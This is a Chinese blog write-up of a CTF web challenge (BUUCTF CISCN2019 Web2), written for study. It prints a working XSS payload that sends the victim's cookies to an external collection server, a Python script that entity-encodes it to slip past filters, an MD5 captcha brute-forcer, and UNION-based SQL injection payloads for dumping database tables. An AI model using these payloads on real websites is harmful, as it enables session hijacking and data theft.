BUUCTF:[CISCN2019 华东北赛区]Web2

BUUCTF:[CISCN2019 华东北赛区]Web2

参考:https://blog.csdn.net/weixin_44677409/article/details/100741998

经测试发现存在以下页面:
index.php
admin.php
login.php
register.php
post.php
commitbug.php
about.php

在这里插入图片描述
admin.php没有权限登录,联系下文估计是要得到admin的session登录
在这里插入图片描述
投稿存在XSS,但是存在一些过滤,使用Markup
转码,然后eval执行JS代码,并且需要一个window.location.href来自动触发刷新颜面
使用题目提供的站内XSS平台
在这里插入图片描述
添加windows.location.href,并删去if判断那一段

(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=arHAGx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

然后利用脚本,进行编码绕过,并且执行

xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=arHAGx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

在这里插入图片描述
然后把这些payload插入投稿
文章地址:http://24175362-da9c-4f99-bb8d-110e10bfb9bf.node3.buuoj.cn/post/1b34bb5a26804f2410d6746d2129bb7b.html

在这里插入图片描述
在反馈页面反馈,刚刚发布的那篇文章,是的管理员去查看带有XSS的文章
MD5验证码脚本:

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('b76301')

在这里插入图片描述
这里注意文章地址在反馈的时候要改成
http://web.node3.buuoj.cn/post/1b34bb5a26804f2410d6746d2129bb7b.html
在这里插入图片描述
在这里插入图片描述
XSS平台接收到一个来自内网访问的请求,这就是管理元的访问,使用这个PHPSESSION登录admin.php
在这里插入图片描述
登陆成功,经过测试发现是个很简单的联合查询注入,一系列注入payload如下:

-2 union select 1,2,3#

-2 union select 1,database(),user()#

-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#

-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

-2 union select 1,2,group_concat(flagg) from ciscn.flag#

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值